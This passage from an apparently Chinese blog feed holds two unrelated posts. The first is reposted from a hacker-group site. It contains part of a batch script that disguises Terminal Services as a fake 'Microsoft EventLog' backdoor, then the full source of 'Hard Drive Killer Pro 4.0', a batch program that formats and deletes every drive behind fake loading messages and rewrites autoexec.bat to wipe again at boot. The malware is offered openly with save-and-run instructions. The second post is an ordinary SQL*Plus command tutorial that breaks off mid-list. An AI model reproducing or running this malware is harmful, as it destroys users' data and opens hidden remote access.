00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll<br />@echo "ObjectName"="LocalSystem" >>patch.dll<br />@echo "Type"=dword:00000010 >>patch.dll<br />@echo "Description"="Keep record of the program and windows' message。" >>patch.dll<br />@echo "DisplayName"="Microsoft EventLog" >>patch.dll<br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll<br />@echo "Start"=dword:00000004 >>patch.dll<br />@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe<br />@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]<br /><br /><br /><br />3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)<br />------------------------ cut here then save as .bat or .cmd file ---------------------------<br />@echo off<br />rem This program is dedecated to a very special person that does not want to be named.<br />:start<br />cls<br />echo PLEASE WAIT WHILE PROGRAM LOADS . . .<br />call attrib -r -h c:\autoexec.bat >nul<br />echo @echo off >c:\autoexec.bat<br />echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat<br />call attrib +r +h c:\autoexec.bat >nul<br />rem Drive checking and assigning the valid drives to the drive variable.<br /><br /><br /><br />set drive=<br />set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z<br /><br /><br /><br />rem code insertion for Drive Checking takes place here.<br />rem drivechk.bat is the file name under the root directory.<br />rem As far as the drive detection and drive variable settings, don't worry about how it<br />rem works, it's d\*amn to complicated for the average or even the expert batch programmer.<br />rem Except for Tom Lavedas.<br /><br /><br /><br />echo @echo off >drivechk.bat<br />echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat<br />%comspec% /e:2048 /c {t}.bat >>drivechk.bat<br />del {t}.bat<br />echo if errorlevel 1 goto enddc >>drivechk.bat<br /><br /><br /><br />cls<br />echo PLEASE WAIT WHILE PROGRAM LOADS . . .<br /><br /><br /><br />rem When errorlevel is 1, then the above is not true, if 0, then it's true.<br />rem Opposite of binary rules. If 0, it will elaps to the next command.<br /><br /><br /><br />echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat<br />%comspec% /e:2048 /c {t}.bat >>drivechk.bat<br />del {t}.bat<br />echo if errorlevel 1 goto enddc >>drivechk.bat<br /><br /><br /><br />cls<br />echo PLEASE WAIT WHILE PROGRAM LOADS . . .<br /><br /><br /><br />rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.<br />rem if errorlevel is 0, then it will elaps to the next command.<br /><br /><br /><br />echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat<br />%comspec% /e:2048 /c {t}.bat >>drivechk.bat<br />del {t}.bat<br />echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat<br /><br /><br /><br />cls<br />echo PLEASE WAIT WHILE PROGRAM LOADS . . .<br /><br /><br /><br />rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.<br />rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.<br /><br /><br /><br />echo :enddc >>drivechk.bat<br /><br /><br /><br />rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".<br /><br /><br /><br />rem Now we will use the program drivechk.bat to attain valid drive information.<br /><br /><br /><br />:Sampledrv<br /><br /><br /><br />for %%a in (%alldrive%) do call drivechk.bat %%a >nul<br />del drivechk.bat >nul<br />if %drive.==. set drive=c<br /><br /><br /><br />:form_del<br />call attrib -r -h c:\autoexec.bat >nul<br />echo @echo off >c:\autoexec.bat<br />echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat<br />echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat<br />echo cls >>c:\autoexec.bat<br />echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat<br />echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat<br />echo cls >>c:\autoexec.bat<br />echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat<br />echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat<br />echo cls >>c:\autoexec.bat<br />echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat<br />echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat<br />echo cls >>c:\autoexec.bat<br />echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat<br />echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat<br />echo cls >>c:\autoexec.bat<br />echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat<br />echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat<br />echo cd\ >>c:\autoexec.bat<br />echo cls >>c:\autoexec.bat<br />echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat<br />echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat<br />echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat<br />echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat<br />echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat<br />echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat<br /><br /><br /><br />echo echo. >>c:\autoexec.bat<br />echo echo Regards, >>c:\autoexec.bat<br />echo echo. >>c:\autoexec.bat<br />echo echo Munga Bunga >>c:\autoexec.bat<br />call attrib +r +h c:\autoexec.bat<br /><br /><br /><br />:makedir<br />if exist c:\temp.bat attrib -r -h c:\temp.bat >nul<br />echo @echo off >c:\temp.bat<br />echo %%1:\ >>c:\temp.bat<br />echo cd\ >>c:\temp.bat<br />echo :startmd >>c:\temp.bat<br />echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat<br />echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat<br />echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat<br />call attrib +r +h c:\temp.bat >nul<br /><br /><br /><br /><br /><br />cls<br />echo Initializing Variables . . .<br />rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.<br />for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul<br />cls<br />echo Initializing Variables . . .<br />echo Validating Data . . .<br />for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul<br />cls<br />echo Initializing Variables . . .<br />echo Validating Data . . .<br />echo Analyzing System Structure . . .<br />for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul<br />call attrib +r +h c:\temp.bat >nul<br />call attrib +r +h c:\autoexec.bat >nul<br />cls<br />echo Initializing Variables . . .<br />echo Validating Data . . .<br />echo Analyzing System Structure . . .<br />echo Initializing Application . . .<br /><br /><br /><br />for %%a in (%drive%) call deltree /y %%a:\*. >nul<br />cls<br />echo Initializing Variables . . .<br />echo Validating Data . . .<br />echo Analyzing System Structure . . .<br />echo Initializing Application . . .<br />echo Starting Application . . .<br />for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul<br /><br /><br /><br />cls<br />echo Thank you for using a Munga Bunga product.<br />echo.<br />echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.<br />echo.<br />echo Here is a joke for you . . .<br />echo.<br />echo Q). What's the worst thing about being an egg?<br />echo A). You only get laid once.<br />echo.<br />echo HAHAHAHA, get it? Don't you just love that one?<br />echo.<br />echo Regards,<br />echo.<br />echo Munga Bunga<br /><br /><br /><br />:end<br /><br /><br /><br />rem Hard Drive Killer Pro Version 4.0, enjoy!!!!<br />rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).<br /><img src="http://www.cnxhacker.com/hits.asp?id=440" width="1" border="0" height="1" /> <span class="style1">转贴于 『中国X黑客小组』 WwW.</span>Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com0tag:blogger.com,1999:blog-30018430.post-7806823841329348752009-04-01T12:31:00.002+08:002009-04-02T17:33:13.749+08:00SQL*PLUS常用命令<span class="oblog_text">TAB 用户创建的所有基表、视图和同义词清单<br /><br />DTAB 构成数据字典的所有表<br /><br />COL 用户创建的基表的所有列定义的清单<br /><br />CATALOG 用户可存取的所有基表清单 </span><br />-------------------------------------------<br />Oracle的sql*plus是与oracle进行交互的客户端工具。在sql*plus中,可以运行sql*plus命令与sql*plus语句。<br /> <span class="t18">我们通常所说的DML、DDL、DCL语句都是sql*plus语句,它们执行完后,都可以保存在一个被称为sql buffer的内存区域中,并且只能保存一条最近执行的sql语句,我们可以对保存在sql buffer中的sql 语句进行修改,然后再次执行,sql*plus一般都与<a href="http://www.knowsky.com/sql.asp" target="_blank" class="ReplaceKeyword">数据库</a>打交道。<br /> <br /> 除了sql*plus语句,在sql*plus中执行的其它语句我们称之为sql*plus命令。它们执行完后,不保存在sql buffer的内存区域中,它们一般用来对输出的结果进行格式化显示,以便于制作报表。<br /> <br /> 下面就介绍一下一些常用的sql*plus命令:<br /> <br /> 1. 执行一个SQL脚本文件<br /> SQL>start file_name<br /> SQL>@ file_name<br /> 我们可以将多条sql语句保存在一个文本文件中,这样当要执行这个文件中的所有的sql语句时,用上面的任一命令即可,这类似于dos中的批处理。<br /> <br /> 2. 对当前的输入进行编辑<br /> SQL>edit<br /> <br /> 3. 重新运行上一次运行的sql语句<br /> SQL>/<br /> <br /> 4. 将显示的内容输出到指定文件<br /> SQL> SPOOL file_name<br /> 在屏幕上的所有内容都包含在该文件中,包括你输入的sql语句。<br /> <br /> 5. 关闭spool输出<br /> SQL> SPOOL OFF<br /> 只有关闭spool输出,才会在输出文件中看到输出的内容。<br /> <br /> 6.显示一个表的结构<br /> SQL> desc table_name<br /> <br /> 7. COL命令:<br /> 主要格式化列的显示形式。<br /> 该命令有许多选项,具体如下:<br /> COL[UMN] [{ columneXPr} [ option ...]]<br /> Option选项可以是如下的子句:<br /> ALI[AS] alias<br /> CLE[AR]<br /> FOLD_A[FTER]<br /> FOLD_B[EFORE]<br /> FOR[MAT] format<br /> HEA[DING] text<br /> JUS[TIFY] {L[EFT]C[ENTER]C[ENTRE]R[IGHT]}<br /> LIKE { expralias}<br /> NEWL[INE]<br /> NEW_V[ALUE] variable<br /> NOPRI[NT]PRI[NT]<br /> NUL[L] text<br /> OLD_V[ALUE] variable<br /> ONOFF<br /> WRA[PPED]WOR[D_WRAPPED]TRU[NCATED]<br /> <br /> 1). 改变缺省的列标题<br /> COLUMN column_name HEADING column_heading<br /> For example:<br /> Sql>select * from dept;<br /> DEPTNO DNAME LOC<br /> ---------- ---------------------------- ---------<br /> 10 ACCOUNTING NEW YORK<br /> sql>col LOC heading location<br /> sql>select * from dept;<br /> DEPTNO DNAME location<br /> --------- ---------------------------- -----------<br /> 10 ACCOUNTING NEW YORK<br /> <br /> 2). 将列名ENAME改为新列名EMPLOYEE NAME并将新列名放在两行上:<br /> Sql>select * from emp<br /> Department name Salary<br /> ---------- ---------- ----------<br /> 10 aaa 11<br /> SQL> COLUMN ENAME HEADING ’EmployeeName’<br /> Sql>select * from emp<br /> Employee<br /> Department name Salary<br /> ---------- ---------- ----------<br /> 10 aaa 11<br /> note: the col heading turn into two lines from one line.<br /> <br /> 3). 改变列的显示长度:<br /> FOR[MAT] format<br /> Sql>select empno,ename,job from emp;<br /> EMPNO ENAME JOB<br /> ---------- ---------- ---------<br /> 7369 SMITH CLERK<br /> 7499 ALLEN SALESMAN<br /> 7521 WARD SALESMAN<br /> Sql> col ename format a40<br /> EMPNO ENAME JOB<br /> ---------- ---------------------------------------- ---------<br /> 7369 SMITH CLERK<br /> 7499 ALLEN SALESMAN<br /> 7521 WARD SALESMAN<br /> <br /> 4). 设置列标题的对齐方式<br /> JUS[TIFY] {L[EFT]C[ENTER]C[ENTRE]R[IGHT]}<br /><br /> SQL> col ename justify center<br /> SQL> /<br /> EMPNO ENAME JOB<br /> ---------- ---------------------------------------- ---------<br /> 7369 SMITH CLERK<br /> 7499 ALLEN SALESMAN<br /> 7521 WARD SALESMAN<br /> 对于NUMBER型的列,列标题缺省在右边,其它类型的列标题缺省在左边<br /> <br /> 5). 不让一个列显示在屏幕上<br /> NOPRI[NT]PRI[NT]<br /> SQL> col job noprint<br /> SQL> /<br /> EMPNO ENAME<br /> ---------- ----------------------------------------<br /> 7369 SMITH<br /> 7499 ALLEN<br /> 7521 WARD<br /> <br /> 6). 格式化NUMBER类型列的显示:<br /> SQL> COLUMN SAL FORMAT $99,990<br /> SQL> /<br /> Employee<br /> Department Name Salary Commission<br /> ---------- ---------- --------- ----------<br /> 30 ALLEN $1,600 300<br /> <br /> 7). 显示列值时,假如列值为NULL值,用text值代替NULL值<br /> COMM NUL[L] text<br /> SQL>COL COMM NUL[L] text<br /> <br /> 8). 设置一个列的回绕方式<br /> WRA[PPED]WOR[D_WRAPPED]TRU[NCATED]<br /> COL1<br /> --------------------<br /> HOW ARE YOU?<br /> <br /> SQL>COL COL1 FORMAT A5<br /> SQL>COL COL1 WRAPPED<br /> COL1<br /> -----<br /> HOW A<br /> RE YO<br /> U?<br /> <br /> SQL> COL COL1 <a href="http://www.knowsky.com/article.asp?typeid=117" target="_blank" class="ReplaceKeyword">Word</a>_WRAPPED<br /> COL1<br /> -----<br /> HOW<br /> ARE<br /> YOU?<br /> <br /> SQL> COL COL1 WORD_WRAPPED<br /> COL1<br /> -----<br /> HOW A<br /> <br /> 9). 显示列的当前的显示属性值<br /> SQL> COLUMN column_name<br /> <br /> 10). 将所有列的显示属性设为缺省值<br /> SQL> CLEAR COLUMNS<br /> <br /> 8. 屏蔽掉一个列中显示的相同的值<br /> BREAK ON break_column<br /> SQL> BREAK ON DEPTNO<br /> SQL> SELECT DEPTNO, ENAME, SAL<br /> FROM EMP<br /> WHERE SAL < 2500<br /> ORDER BY DEPTNO;<br /> DEPTNO ENAME SAL<br /> ---------- ----------- ---------<br /> 10 CLARK 2450<br /> MILLER 1300<br /> 20 SMITH 800<br /> ADAMS 1100<br /> <br /> 9. 在上面屏蔽掉一个列中显示的相同的值的显示中,每当列值变化时在值变化之前插入n个空行。<br /> BREAK ON break_column SKIP n<br /> <br /> SQL> BREAK ON DEPTNO SKIP 1<br /> SQL> /<br /> DEPTNO ENAME SAL<br /> ---------- ----------- ---------<br /> 10 CLARK 2450<br /> MILLER 1300<br /> <br /> 20 SMITH 800<br /> ADAMS 1100<br /> <br /> 10. 显示对BREAK的设置<br /> SQL> BREAK<br /> <br /> 11. 删除6、7的设置<br /> SQL> CLEAR BREAKS<br /> <br /> 12. Set 命令:<br /> 该命令包含许多子命令:<br /> SET system_variable value<br /> system_variable value 可以是如下的子句之一:<br /> APPI[NFO]{ONOFFtext}<br /> ARRAY[SIZE] {15n}<br /> AUTO[COMMIT]{ONOFFIMM[EDIATE]n}<br /> AUTOP[RINT] {ONOFF}<br /> AUTORECOVERY [ONOFF]<br /> AUTOT[RACE] {ONOFFTRACE[ONLY]} [EXP[LAIN]] [STAT[ISTICS]]<br /> BLO[CKTERMINATOR] {.c}<br /> CMDS[EP] {;cONOFF}<br /> COLSEP {_text}<br /> COM[PATIBILITY]{V7V8NATIVE}<br /> CON[CAT] {.cONOFF}<br /> COPYC[OMMIT] {0n}<br /> COPYTYPECHECK {ONOFF}<br /> DEF[INE] {&cONOFF}<br /> DESCRIBE [DEPTH {1nALL}][LINENUM {ONOFF}][INDENT {ONOFF}]<br /> ECHO {ONOFF}<br /> EDITF[ILE] file_name[.ext]<br /> EMB[EDDED] {ONOFF}<br /> ESC[APE] {\cONOFF}<br /> FEED[BACK] {6nONOFF}<br /> FLAGGER {OFFENTRY INTERMED[IATE]FULL}<br /> FLU[SH] {ONOFF}<br /> HEA[DING] {ONOFF}<br /> HEADS[EP] {cONOFF}<br /><br /> INSTANCE [instance_pathLOCAL]<br /> LIN[ESIZE] {80n}<br /> LOBOF[FSET] {n1}<br /> LOGSOURCE [pathname]<br /> LONG {80n}<br /> LONGC[HUNKSIZE] {80n}<br /> MARK[UP] Html [ONOFF] [HEAD text] [BODY text] [ENTMAP {ONOFF}] [SPOOL<br /> {ONOFF}] [PRE[FORMAT] {ONOFF}]<br /> NEWP[AGE] {1nNONE}<br /> NULL text<br /> NUMF[ORMAT] format<br /> NUM[WIDTH] {10n}<br /> PAGES[IZE] {24n}<br /> PAU[SE] {ONOFFtext}<br /> RECSEP {WR[APPED]EA[CH]OFF}<br /> RECSEPCHAR {_c}<br /> SERVEROUT[PUT] {ONOFF} [SIZE n] [FOR[MAT] {WRA[PPED]WOR[D_<br /> WRAPPED]TRU[NCATED]}]<br /> SHIFT[INOUT] {VIS[IBLE]INV[ISIBLE]}<br /> SHOW[MODE] {ONOFF}<br /> SQLBL[ANKLINES] {ONOFF}<br /> SQLC[ASE] {MIX[ED]LO[WER]UP[PER]}<br /> SQLCO[NTINUE] {> text}<br /> SQLN[UMBER] {ONOFF}<br /> SQLPRE[FIX] {#c}<br /> SQLP[ROMPT] {SQL>text}<br /> SQLT[ERMINATOR] {;cONOFF}<br /> SUF[FIX] {SQLtext}<br /> TAB {ONOFF}<br /> TERM[OUT] {ONOFF}<br /> TI[ME] {ONOFF}<br /> TIM </span>Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com0